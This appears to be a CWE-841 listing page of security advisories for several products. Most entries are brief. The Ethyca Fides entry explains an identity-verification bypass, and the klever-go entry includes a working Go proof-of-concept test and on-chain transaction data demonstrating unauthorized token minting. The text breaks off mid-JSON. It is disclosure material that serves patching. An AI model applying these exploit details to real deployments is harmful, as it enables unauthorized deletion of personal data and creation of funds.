Common Weakness Enumeration
CWE-841
AllowedImproper Enforcement of Behavioral Workflow
Abstraction: Class · Status: Incomplete
The product supports a session in which more than one behavior must be performed by an actor, but it does not properly ensure that the actor performs the behaviors in the required sequence.
107 vulnerabilities reference this CWE, most recent first.
GHSA-MH2F-2HRX-5245
Vulnerability from github – Published: 2025-04-21 18:32 – Updated: 2025-04-21 18:32
VLAI
Details
User Enumeration and Data Integrity in Barcode functionality in OpenText Content Management versions 24.3-25.1on Windows and Linux allows a malicous authenticated attacker to potentially alter barcode attributes.
Severity
{
"affected": [],
"aliases": [
"CVE-2024-12543"
],
"database_specific": {
"cwe_ids": [
"CWE-841"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-21T16:15:53Z",
"severity": "MODERATE"
},
"details": "User Enumeration and Data Integrity in Barcode functionality in OpenText Content Management versions 24.3-25.1on Windows and Linux allows a malicous authenticated attacker to potentially alter barcode attributes.",
"id": "GHSA-mh2f-2hrx-5245",
"modified": "2025-04-21T18:32:08Z",
"published": "2025-04-21T18:32:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12543"
},
{
"type": "WEB",
"url": "https://support.opentext.com/csm?id=ot_kb_unauthenticated\u0026sysparm_article=KB0839119"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:H/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-MRP4-V2GF-6MXP
Vulnerability from github – Published: 2024-09-17 00:31 – Updated: 2025-11-04 18:31
VLAI
Details
This issue was addressed by adding an additional prompt for user consent. This issue is fixed in macOS Ventura 13.7, macOS Sonoma 14.7, macOS Sequoia 15. An Automator Quick Action workflow may be able to bypass Gatekeeper.
Severity
5.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2024-44128"
],
"database_specific": {
"cwe_ids": [
"CWE-841"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-17T00:15:50Z",
"severity": "MODERATE"
},
"details": "This issue was addressed by adding an additional prompt for user consent. This issue is fixed in macOS Ventura 13.7, macOS Sonoma 14.7, macOS Sequoia 15. An Automator Quick Action workflow may be able to bypass Gatekeeper.",
"id": "GHSA-mrp4-v2gf-6mxp",
"modified": "2025-11-04T18:31:21Z",
"published": "2024-09-17T00:31:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-44128"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/121234"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/121238"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/121247"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2024/Sep/33"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2024/Sep/40"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2024/Sep/41"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-MVC4-C2H4-573V
Vulnerability from github – Published: 2022-06-25 00:00 – Updated: 2022-07-06 00:00
VLAI
Details
Client-side JavaScript controls may be bypassed by directly running a JS function to reboot the PLC (e.g., from the browser console) or by loading the corresponding, browser accessible PHP script
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2022-1667"
],
"database_specific": {
"cwe_ids": [
"CWE-841"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-06-24T15:15:00Z",
"severity": "HIGH"
},
"details": "Client-side JavaScript controls may be bypassed by directly running a JS function to reboot the PLC (e.g., from the browser console) or by loading the corresponding, browser accessible PHP script",
"id": "GHSA-mvc4-c2h4-573v",
"modified": "2022-07-06T00:00:30Z",
"published": "2022-06-25T00:00:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1667"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/uscert/ics/advisories/icsa-22-174-03"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MW59-GFC6-3GX2
Vulnerability from github – Published: 2026-08-25 21:31 – Updated: 2026-08-26 18:31
VLAI
Details
Improper enforcement of behavioral workflow in Media in Google Chrome prior to 152.0.7977.65 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2026-79083"
],
"database_specific": {
"cwe_ids": [
"CWE-841"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-25T21:18:03Z",
"severity": "HIGH"
},
"details": "Improper enforcement of behavioral workflow in Media in Google Chrome prior to 152.0.7977.65 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)",
"id": "GHSA-mw59-gfc6-3gx2",
"modified": "2026-08-26T18:31:41Z",
"published": "2026-08-25T21:31:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-79083"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/08/stable-channel-update-for-desktop_0256176589.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/519984038"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QM72-9J6P-39Q3
Vulnerability from github – Published: 2023-11-22 09:31 – Updated: 2026-05-20 15:35
VLAI
Details
Improper Enforcement of Behavioral Workflow vulnerability in DECE Software Geodi allows Functionality Bypass.This issue affects Geodi: before 8.0.0.27396.
Severity
7.1 (High)
{
"affected": [],
"aliases": [
"CVE-2023-5921"
],
"database_specific": {
"cwe_ids": [
"CWE-841"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-22T09:15:07Z",
"severity": "HIGH"
},
"details": "Improper Enforcement of Behavioral Workflow vulnerability in DECE Software Geodi allows Functionality Bypass.This issue affects Geodi: before 8.0.0.27396.",
"id": "GHSA-qm72-9j6p-39q3",
"modified": "2026-05-20T15:35:20Z",
"published": "2023-11-22T09:31:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5921"
},
{
"type": "WEB",
"url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-23-0650"
},
{
"type": "WEB",
"url": "https://www.usom.gov.tr/bildirim/tr-23-0650"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-QX5F-GHC2-7G5C
Vulnerability from github – Published: 2026-05-05 21:11 – Updated: 2026-05-13 16:26
VLAI
Summary
Ethyca Fides has a Privacy Request Identity Verification Bypass Vulnerability via Duplicate Detection
Details
Summary
Fides deployments that enable both subject identity verification and duplicate privacy request detection are affected by a vulnerability in which an administrator can approve a privacy request whose identity was never verified. For erasure policies, this can result in unauthorized deletion of a data subject's records across every integration configured in the affected deployment.
A related lower-severity denial-of-service issue, in which an unauthenticated attacker could prevent a legitimate data subject from completing their own privacy requests, is also patched in the fix for this vulnerability.
Am I affected?
This vulnerability only affects deployments that use Fides's privacy request (data subject request) features, also known collectively as "Lethe". Deployments that do not submit, process, or manage privacy requests through Fides are not affected.
Within deployments that do use privacy request features, your deployment is affected if both of the following settings are effectively set to true:
subject_identity_verification_requiredprivacy_request_duplicate_detection.enabled
Both settings default to false.
Each setting can be configured in multiple places. If the same setting is configured in more than one place, Fides resolves conflicts in the following precedence order, highest priority first:
- Admin UI / configuration API - stored in the application database and applied at runtime
- Environment variables - read at webserver startup
fides.toml- read at webserver startup- Default value - used if none of the above set the value
To determine whether your deployment is affected, check each setting in every location that applies to your configuration management.
subject_identity_verification_required
fides.toml: under the[execution]section assubject_identity_verification_required = true- Environment variable:
FIDES__EXECUTION__SUBJECT_IDENTITY_VERIFICATION_REQUIRED=true - No Admin UI control - this setting is not exposed through the Admin UI and cannot be set via the configuration API
privacy_request_duplicate_detection.enabled
fides.toml: under the[privacy_request_duplicate_detection]section asenabled = true- Environment variable:
FIDES__PRIVACY_REQUEST_DUPLICATE_DETECTION__ENABLED=true - Admin UI: Settings → Privacy requests → Duplicate detection, via the "Enable duplicate detection" toggle. The toggle reflects only values set through the Admin UI or configuration API. A value set via
fides.tomlor environment variable will not appear here.
Details
When duplicate detection classifies a privacy request as a duplicate before its identity has been verified, the administrative interface presents that request with Approve, Deny, and Delete options. An administrator performing routine duplicate request triage may approve such a request without realising the identity was never verified. The request is then processed as if verification had succeeded.
An attacker exploits this by submitting two privacy requests using a target's email address, never completing the OTP verification. The second request is classified as a duplicate and becomes approvable through the administrative interface.
The fix for this vulnerability also patches a lower-severity issue, present in versions 2.82.0 through 2.83.1, in which a legitimate data subject could not complete identity verification on a privacy request that had been classified as a duplicate, allowing an unauthenticated attacker to block that data subject from exercising their privacy rights through the affected deployment.
Impact
An unauthenticated attacker who knows a target's email address and can reach the public Privacy Center can cause an erasure privacy request to be approved by an administrator and processed without identity verification. The result is unauthorized deletion of the data subject's records across every integration configured in the affected deployment. Effects may be permanent and may cascade into downstream systems.
Access privacy requests are a less meaningful vector: the resulting access package is delivered to the data subject's registered email address, not to the attacker, so the attacker does not gain the data. The request still represents unauthorized processing.
Patches
The vulnerabilities have been patched in Fides OSS version 2.83.2. Users are advised to upgrade to this version or later to secure their systems against these threats.
Fides Enterprise (fidesplus) version 2.83.2 contains the same patch.
Workarounds
Disable duplicate detection by setting privacy_request_duplicate_detection.enabled to false. This can be changed under Settings → Privacy Requests → Duplicate detection in the Admin UI). This fully mitigates the vulnerability and is the recommended interim workaround for deployments that cannot immediately upgrade.
The "Enable duplicate detection" toggle when it's disabled, under Settings → Privacy requests in the Admin UI.
Administrators of deployments that must retain duplicate detection should deny or delete, rather than approve, any privacy request whose identity has not been verified. This reduces the likelihood of exploitation but relies on administrator vigilance during each triage action.
Severity
This vulnerability has been assigned a severity of MEDIUM.
The rating reflects the fact that exploitation requires an administrator to approve the malicious request. An attacker alone cannot cause a privacy request to be processed. The administrative interface understates the verification state of a duplicate-classified request, which increases the likelihood of inadvertent approval during routine triage, but without administrator user interaction the vulnerability is not exploitable.
The related denial-of-service issue addressed in the same patch is also rated medium-severity in isolation and does not raise the overall severity of this advisory.
References
Severity
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "ethyca-fides"
},
"ranges": [
{
"events": [
{
"introduced": "2.75.0"
},
{
"fixed": "2.83.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42303"
],
"database_specific": {
"cwe_ids": [
"CWE-288",
"CWE-306",
"CWE-841"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T21:11:37Z",
"nvd_published_at": "2026-05-12T18:17:24Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nFides deployments that enable both subject identity verification and duplicate privacy request detection are affected by a vulnerability in which an administrator can approve a privacy request whose identity was never verified. For erasure policies, this can result in unauthorized deletion of a data subject\u0027s records across every integration configured in the affected deployment.\n\nA related lower-severity denial-of-service issue, in which an unauthenticated attacker could prevent a legitimate data subject from completing their own privacy requests, is also patched in the fix for this vulnerability.\n\n### Am I affected?\n\nThis vulnerability only affects deployments that use Fides\u0027s privacy request (data subject request) features, also known collectively as \"Lethe\". Deployments that do not submit, process, or manage privacy requests through Fides are not affected.\n\nWithin deployments that do use privacy request features, your deployment is affected if both of the following settings are effectively set to `true`:\n\n- `subject_identity_verification_required`\n- `privacy_request_duplicate_detection.enabled`\n\nBoth settings default to `false`.\n\nEach setting can be configured in multiple places. If the same setting is configured in more than one place, Fides resolves conflicts in the following precedence order, highest priority first:\n\n1. **Admin UI / configuration API** - stored in the application database and applied at runtime\n2. **Environment variables** - read at webserver startup\n3. **`fides.toml`** - read at webserver startup\n4. **Default value** - used if none of the above set the value\n\nTo determine whether your deployment is affected, check each setting in every location that applies to your configuration management.\n\n**`subject_identity_verification_required`**\n\n- `fides.toml`: under the `[execution]` section as `subject_identity_verification_required = true`\n- Environment variable: `FIDES__EXECUTION__SUBJECT_IDENTITY_VERIFICATION_REQUIRED=true`\n- No Admin UI control - this setting is not exposed through the Admin UI and cannot be set via the configuration API\n\n**`privacy_request_duplicate_detection.enabled`**\n\n- `fides.toml`: under the `[privacy_request_duplicate_detection]` section as `enabled = true`\n- Environment variable: `FIDES__PRIVACY_REQUEST_DUPLICATE_DETECTION__ENABLED=true`\n- Admin UI: **Settings \u2192 Privacy requests \u2192 Duplicate detection**, via the \"Enable duplicate detection\" toggle. The toggle reflects only values set through the Admin UI or configuration API. A value set via `fides.toml` or environment variable will not appear here.\n\n\u003cfigure\u003e\n\u003cimg width=\"1392\" height=\"940\" alt=\"GHSA - Duplicate Detection Enabled\" src=\"https://github.com/user-attachments/assets/e384f273-ce68-403c-adb2-93536eca5f3a\" /\u003e\n\u003cfigcaption\u003e\n\u003cem\u003e\nThe \"Enable duplicate detection\" toggle when it\u0027s enabled, under Settings \u2192 Privacy requests in the Admin UI.\n\u003c/em\u003e\n\u003c/figcaption\u003e\n\u003c/figure\u003e\n\n### Details\n\nWhen duplicate detection classifies a privacy request as a duplicate before its identity has been verified, the administrative interface presents that request with Approve, Deny, and Delete options. An administrator performing routine duplicate request triage may approve such a request without realising the identity was never verified. The request is then processed as if verification had succeeded.\n\nAn attacker exploits this by submitting two privacy requests using a target\u0027s email address, never completing the OTP verification. The second request is classified as a duplicate and becomes approvable through the administrative interface.\n\nThe fix for this vulnerability also patches a lower-severity issue, present in versions `2.82.0` through `2.83.1`, in which a legitimate data subject could not complete identity verification on a privacy request that had been classified as a duplicate, allowing an unauthenticated attacker to block that data subject from exercising their privacy rights through the affected deployment.\n\n### Impact\n\nAn unauthenticated attacker who knows a target\u0027s email address and can reach the public Privacy Center can cause an erasure privacy request to be approved by an administrator and processed without identity verification. The result is unauthorized deletion of the data subject\u0027s records across every integration configured in the affected deployment. Effects may be permanent and may cascade into downstream systems.\n\nAccess privacy requests are a less meaningful vector: the resulting access package is delivered to the data subject\u0027s registered email address, not to the attacker, so the attacker does not gain the data. The request still represents unauthorized processing.\n\n### Patches\n\nThe vulnerabilities have been patched in Fides OSS version `2.83.2`. Users are advised to upgrade to this version or later to secure their systems against these threats.\n\nFides Enterprise (fidesplus) version `2.83.2` contains the same patch.\n\n### Workarounds\n\nDisable duplicate detection by setting `privacy_request_duplicate_detection.enabled` to `false`. This can be changed under **Settings \u2192 Privacy Requests \u2192 Duplicate detection** in the Admin UI). This fully mitigates the vulnerability and is the recommended interim workaround for deployments that cannot immediately upgrade.\n\n\u003cfigure\u003e\n\u003cp\u003e\n\u003cimg width=\"1392\" height=\"880\" alt=\"GHSA - Disable Duplicate Detection\" src=\"https://github.com/user-attachments/assets/fc0c87a1-7e40-4698-ba9e-e1721f591310\" /\u003e\n\u003cfigcaption\u003e\n\u003cem\u003e\nThe \"Enable duplicate detection\" toggle when it\u0027s disabled, under Settings \u2192 Privacy requests in the Admin UI.\n\u003c/em\u003e\n\u003c/figcaption\u003e\n\u003cp\u003e\n\u003c/figure\u003e\n\nAdministrators of deployments that must retain duplicate detection should deny or delete, rather than approve, any privacy request whose identity has not been verified. This reduces the likelihood of exploitation but relies on administrator vigilance during each triage action.\n\n\u003cimg width=\"1392\" height=\"1044\" alt=\"GHSA - Admin Approval of Unverified Privacy Request\" src=\"https://github.com/user-attachments/assets/b2ad4940-40d3-468b-897e-8cca6ce4707e\" /\u003e\n\u003cfigcaption\u003e\n\u003cem\u003e\nAn administrator\u0027s view when approving an unverified privacy request in the Admin UI.\n\u003c/em\u003e\n\u003c/figcaption\u003e\n\u003c/figure\u003e\n\n### Severity\n\nThis vulnerability has been assigned a severity of **MEDIUM**.\n\nThe rating reflects the fact that exploitation requires an administrator to approve the malicious request. An attacker alone cannot cause a privacy request to be processed. The administrative interface understates the verification state of a duplicate-classified request, which increases the likelihood of inadvertent approval during routine triage, but without administrator user interaction the vulnerability is not exploitable.\n\nThe related denial-of-service issue addressed in the same patch is also rated medium-severity in isolation and does not raise the overall severity of this advisory.\n\n### References\n\n- Fides OSS `2.83.2` release: https://github.com/ethyca/fides/releases/tag/2.83.2\n- Fix for the identity bypass vulnerability: [PR #7972](https://github.com/ethyca/fides/pull/7972), commit [`e7a6527`](https://github.com/ethyca/fides/commit/e7a6527b0f9fdc9887b86a89bb5453e7421882dd)\n- Fix for the related denial-of-service issue: [PR #7971](https://github.com/ethyca/fides/pull/7971), commit [`0e320b2`](https://github.com/ethyca/fides/commit/0e320b20934eb5af3a3d5127dba2691605d7ff37)",
"id": "GHSA-qx5f-ghc2-7g5c",
"modified": "2026-05-13T16:26:42Z",
"published": "2026-05-05T21:11:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ethyca/fides/security/advisories/GHSA-qx5f-ghc2-7g5c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42303"
},
{
"type": "WEB",
"url": "https://github.com/ethyca/fides/pull/7971"
},
{
"type": "WEB",
"url": "https://github.com/ethyca/fides/pull/7972"
},
{
"type": "WEB",
"url": "https://github.com/ethyca/fides/commit/0e320b20934eb5af3a3d5127dba2691605d7ff37"
},
{
"type": "WEB",
"url": "https://github.com/ethyca/fides/commit/e7a6527b0f9fdc9887b86a89bb5453e7421882dd"
},
{
"type": "PACKAGE",
"url": "https://github.com/ethyca/fides"
},
{
"type": "WEB",
"url": "https://github.com/ethyca/fides/releases/tag/2.83.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:H/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Ethyca Fides has a Privacy Request Identity Verification Bypass Vulnerability via Duplicate Detection"
}
GHSA-V358-WF77-39XV
Vulnerability from github – Published: 2026-08-28 20:27 – Updated: 2026-08-28 20:27
VLAI
Summary
klever-go: Percentage-transfer royalty skips the source debit at exactly-100% splits
Details
Summary
In processPercentageRoyaltiesTransfer the royalty pool is collected from the sender by SubFromBalance that is
ordered after the split loop and after if royaltiesToPay <= 0 { return Ok }. The split-payout guard rejects
only an allocation that exceeds the pool (a strict splitToPay > royaltiesToPay), so a split entry of exactly
100% (PercentTransferPercentage = 10000) is a valid config: it drives royaltiesToPay to 0 and hits the
early-return before the sender is debited. The split recipient keeps the full royalty; the sender pays nothing
for it → mint. The sibling fixed-royalty path (processFixedRoyaltiesTransfer) debits the sender first and is
safe. Only the percentage-transfer path collects and distributes in the same function with the collect placed after
the early-return.
Affected code
core/kapp/accounts/accounts.go—processPercentageRoyaltiesTransfer: split loop →if royaltiesToPay <= 0 { return Ok }→acntSrc.SubFromBalance(royaltyAmount)(debit after the early-return). Contrast the safeprocessFixedRoyaltiesTransfer(debit before the loop).
Impact
Unbounded self-inflation of the transferred KDA: royaltyAmount = transferValue × rate is minted to an
owner-controlled split address on every transfer of the asset, with no source debit and no supply-counter update
(off-the-books).
Reachability
Owner-gated to configure (own KDA with a TransferPercentage royalty + a 100% split). Once configured, the mint
fires on any holder's transfer of the asset — not just the owner's.
Proof of concept
Unit test
TestExploit_PercentRoyaltyZeroDebit drives the real processPercentageRoyaltiesTransfer with all relevant forks
ON (KdaFpr, EnableSmartContracts, FixMarketBuyOverflow). With a single 100% split the recipient is credited
the full royalty (40) while the sender's SubFromBalance is called 0 times (mint = 40); the 50% control case
does not early-return, the sender is debited, and value conserves.
core/kapp/accounts package, passes = mint confirmed)
package accounts
import (
"bytes"
"encoding/hex"
"testing"
"github.com/stretchr/testify/require"
commonMock "github.com/klever-io/klever-go/common/mock"
"github.com/klever-io/klever-go/core"
"github.com/klever-io/klever-go/core/kapp"
"github.com/klever-io/klever-go/data/block"
"github.com/klever-io/klever-go/data/state"
"github.com/klever-io/klever-go/data/transaction"
integrationMock "github.com/klever-io/klever-go/integrationTest/mock"
"github.com/klever-io/klever-go/kapps"
kvmStub "github.com/klever-io/klever-go/kvm/mock/stub"
)
// TestExploit_PercentRoyaltyZeroDebit proves the zero-debit mint:
// processPercentageRoyaltiesTransfer credits the split recipient
// inside the loop, then hits `if royaltiesToPay <= 0 { return Ok }` BEFORE the
// sender's `acntSrc.SubFromBalance(royaltyAmount, ...)`. A single VALID split
// entry of exactly 100% (PercentTransferPercentage = 10000) drives royaltiesToPay
// to 0 and skips the debit => the recipient keeps royaltyAmount, the sender pays
// nothing => mint. The sibling fixed path debits FIRST, so the 50% contrast case
// (which does NOT early-return) confirms the debit fires and value is conserved.
func TestExploit_PercentRoyaltyZeroDebit(t *testing.T) {
const (
assetIDStr = "FUNGI-1234"
transferValue = int64(800)
royaltyRatePct = uint32(500) // 5%
royaltyAmount = int64(40) // 800 * 5% = 40
)
assetID := []byte(assetIDStr)
// 32-byte, non-zero-prefixed => not a smart-contract address, so the royalty
// path is not short-circuited by core.IsSmartContractAddress.
senderAddr := bytes.Repeat([]byte{0x11}, 32)
// Split recipient address must be a valid hex string (computeSplitRoyalties
// hex-decodes the map key).
recipientAddr := bytes.Repeat([]byte{0x22}, 32)
recipientKey := hex.EncodeToString(recipientAddr)
royaltyReceiverAddr := bytes.Repeat([]byte{0x33}, 32)
buildKDA := func(splitPercent uint32) *kapps.KDAData {
return &kapps.KDAData{
AssetType: kapps.KDAData_Fungible,
OwnerAddress: senderAddr,
Royalties: &kapps.RoyaltiesData{
Address: royaltyReceiverAddr,
TransferPercentage: []*kapps.RoyaltyData{
{Amount: 1000, Percentage: royaltyRatePct},
},
SplitRoyalties: map[string]*kapps.RoyaltySplitData{
recipientKey: {PercentTransferPercentage: splitPercent},
},
},
}
}
type runResult struct {
subFromCalls int
subFromAmount int64
addToRecipient int64
addToOwnerRem int64
resCode transaction.Transaction_TXResultCode
err error
}
run := func(t *testing.T, splitPercent uint32) runResult {
t.Helper()
res := runResult{}
// Sender: track whether/what the royalty debit hits. Holds plenty of the asset.
acntSrc := &commonMock.UserAccountHandlerStub{
AddressBytesCalled: func() []byte { return senderAddr },
GetBalanceCalled: func(_ []byte, _ bool) int64 { return 1_000_000 },
SubFromBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {
res.subFromCalls++
res.subFromAmount += value
return nil
},
}
// Destination is irrelevant to the royalty pool accounting here.
acntDst := &commonMock.UserAccountHandlerStub{
AddressBytesCalled: func() []byte { return royaltyReceiverAddr },
}
// Split recipient: capture the credit it receives.
splitRecipient := &commonMock.UserAccountHandlerStub{
AddressBytesCalled: func() []byte { return recipientAddr },
AddToBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {
res.addToRecipient += value
return nil
},
}
// Owner-remainder receiver (only credited when the path does NOT early-return).
royaltyReceiver := &commonMock.UserAccountHandlerStub{
AddressBytesCalled: func() []byte { return royaltyReceiverAddr },
AddToBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {
res.addToOwnerRem += value
return nil
},
}
cacher := &commonMock.AccountsCacherStub{
LoadUserCalled: func(address []byte) (state.UserAccountHandler, error) {
if bytes.Equal(address, recipientAddr) {
return splitRecipient, nil
}
if bytes.Equal(address, royaltyReceiverAddr) {
return royaltyReceiver, nil
}
return acntSrc, nil
},
GetExistingUserCalled: func(address []byte) (state.UserAccountHandler, error) {
return royaltyReceiver, nil
},
UpdateUserCalled: func(_ state.AccountHandler) error { return nil },
}
// All relevant forks ON: KdaFpr (new royalty flow), EnableSmartContracts
// (overflow-checked percentage math), and FixMarketBuyOverflow so the
// fix-branch payout guard `splitToPay > royaltiesToPay` is ACTIVE.
fc := &integrationMock.ForkControllerStub{
KdaFprCalled: func() bool { return true },
EnableSmartContractsCalled: func() bool { return true },
FixMarketBuyOverflowCalled: func() bool { return true },
}
kappController := &kvmStub.KAppControllerStub{
GetCurrentKAppContextCalled: func() kapp.KappContext {
return kapp.NewKappContext(kapp.ArgsNewKAppContext{
OriginalSender: senderAddr,
ContractID: 0,
ContractType: transaction.TXContract_TransferContractType,
Block: &block.Block{},
})
},
}
a := &accountsKapp{
accountsCacher: cacher,
forkController: fc,
KAppController: kappController,
}
tc := &transaction.TransferContract{
Amount: transferValue,
KDARoyalties: royaltyAmount, // must match the computed pool (accounts.go line 429)
}
kda := buildKDA(splitPercent)
res.resCode, res.err = a.processPercentageRoyaltiesTransfer(
tc, assetID, nil, acntSrc, acntDst, kda,
)
return res
}
// ---- 100% split: the exploit. Recipient credited, sender NEVER debited. ----
t.Run("split_100pct_mints", func(t *testing.T) {
r := run(t, core.HundredPercent) // 10000 == exactly 100%, a VALID config
require.NoError(t, r.err)
require.Equal(t, transaction.Transaction_Ok, r.resCode)
credited := r.addToRecipient
debited := r.subFromAmount
mintDelta := credited - debited
t.Logf("[100%% case] split recipient credited (AddToBalance) = %d", credited)
t.Logf("[100%% case] sender royalty-debit calls (SubFromBalance) = %d", r.subFromCalls)
t.Logf("[100%% case] sender royalty amount debited = %d", debited)
t.Logf("[100%% case] owner-remainder credited = %d", r.addToOwnerRem)
t.Logf("[100%% case] MINT delta (credited - debited) = %d", mintDelta)
// (1) split recipient WAS credited the full royaltyAmount (> 0).
require.Equal(t, royaltyAmount, credited,
"split recipient must receive the full royalty pool")
require.Greater(t, credited, int64(0))
// (2) the sender's royalty debit was NEVER called -> value created.
require.Equal(t, 0, r.subFromCalls,
"BUG CONFIRMED: SubFromBalance (sender royalty debit) was skipped by the <=0 early-return")
require.Equal(t, int64(0), debited)
// credited > debited => mint of royaltyAmount.
require.Equal(t, royaltyAmount, mintDelta,
"fix is INCOMPLETE: %d of %s minted (recipient credited, sender never debited)",
mintDelta, assetIDStr)
})
// ---- 50% split contrast: NO early-return, sender IS debited -> conserved. ----
t.Run("split_50pct_conserves", func(t *testing.T) {
r := run(t, core.HundredPercent/2) // 5000 == 50%
require.NoError(t, r.err)
require.Equal(t, transaction.Transaction_Ok, r.resCode)
credited := r.addToRecipient + r.addToOwnerRem
debited := r.subFromAmount
t.Logf("[50%% case] split recipient credited = %d", r.addToRecipient)
t.Logf("[50%% case] owner-remainder credited = %d", r.addToOwnerRem)
t.Logf("[50%% case] total credited = %d", credited)
t.Logf("[50%% case] sender royalty-debit calls = %d", r.subFromCalls)
t.Logf("[50%% case] sender royalty amount debited = %d", debited)
t.Logf("[50%% case] net (credited - debited) = %d (0 => conserved)", credited-debited)
// Sender IS debited the full royalty pool exactly once.
require.Equal(t, 1, r.subFromCalls,
"sibling path: at <100%% the early-return does NOT fire, so the sender royalty debit runs")
require.Equal(t, royaltyAmount, debited)
// Split (20) + owner remainder (20) == debited (40): value conserved.
require.Equal(t, royaltyAmount/2, r.addToRecipient)
require.Equal(t, royaltyAmount/2, r.addToOwnerRem)
require.Equal(t, debited, credited, "50%% case conserves: total credited == debited")
})
}
On-chain reproduction (live single-node localnet)
Asset F07-3NG3 was created with a 10% transfer royalty (percentage: 1000) and a single 100% split
(percentTransferPercentage: 10000) to address R (klv1qeh4py4…qcv2xjm). A transfer of 100,000,000,000 units
(with kdaRoyalties = 10,000,000,000, i.e. the 10% pool) then produced two credit receipts: the recipient gets
the 100,000,000,000 transfer, and R is credited the 10,000,000,000 royalty — while the sender was debited
only the transfer amount, never the royalty. Net: 10,000 F07 created on the transfer.
F07-3NG3, 10% transfer royalty + single 100% split to R (hash ec2a8e8d…af12bc7f)
{
"hash": "ec2a8e8d17136986756141f598f869803528ab12840416671b09622eaf12bc7f",
"blockNum": 104,
"status": "success",
"resultCode": "Ok",
"chainID": "420420",
"contract": [
{
"type": 1,
"typeString": "CreateAssetContractType",
"parameter": {
"type": "Fungible",
"name": "Finding07",
"ticker": "F07",
"precision": 6,
"initialSupply": 1000000000000,
"maxSupply": 0,
"royalties": {
"address": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
"transferPercentage": [
{ "percentage": 1000 }
],
"splitRoyalties": [
{
"address": "klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm",
"percentTransferPercentage": 10000
}
]
}
}
}
]
}
R with no source debit (hash 37527757…bf3706b1)
{
"hash": "37527757b10dcf968b86cc3c0abf971c70e81aef0348b4a5b7d4ccc1bf3706b1",
"blockNum": 120,
"status": "success",
"resultCode": "Ok",
"chainID": "420420",
"receipts": [
{
"assetId": "F07-3NG3",
"from": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
"to": "klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm",
"type": 0,
"typeString": "Transfer",
"value": 10000000000
},
{
"assetId": "F07-3NG3",
"from": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
"to": "klv1fttx7kd0mzw3t8nekmh98489dwqq6mehs98nfcuvewwz0yt776aqf5ydfa",
"type": 0,
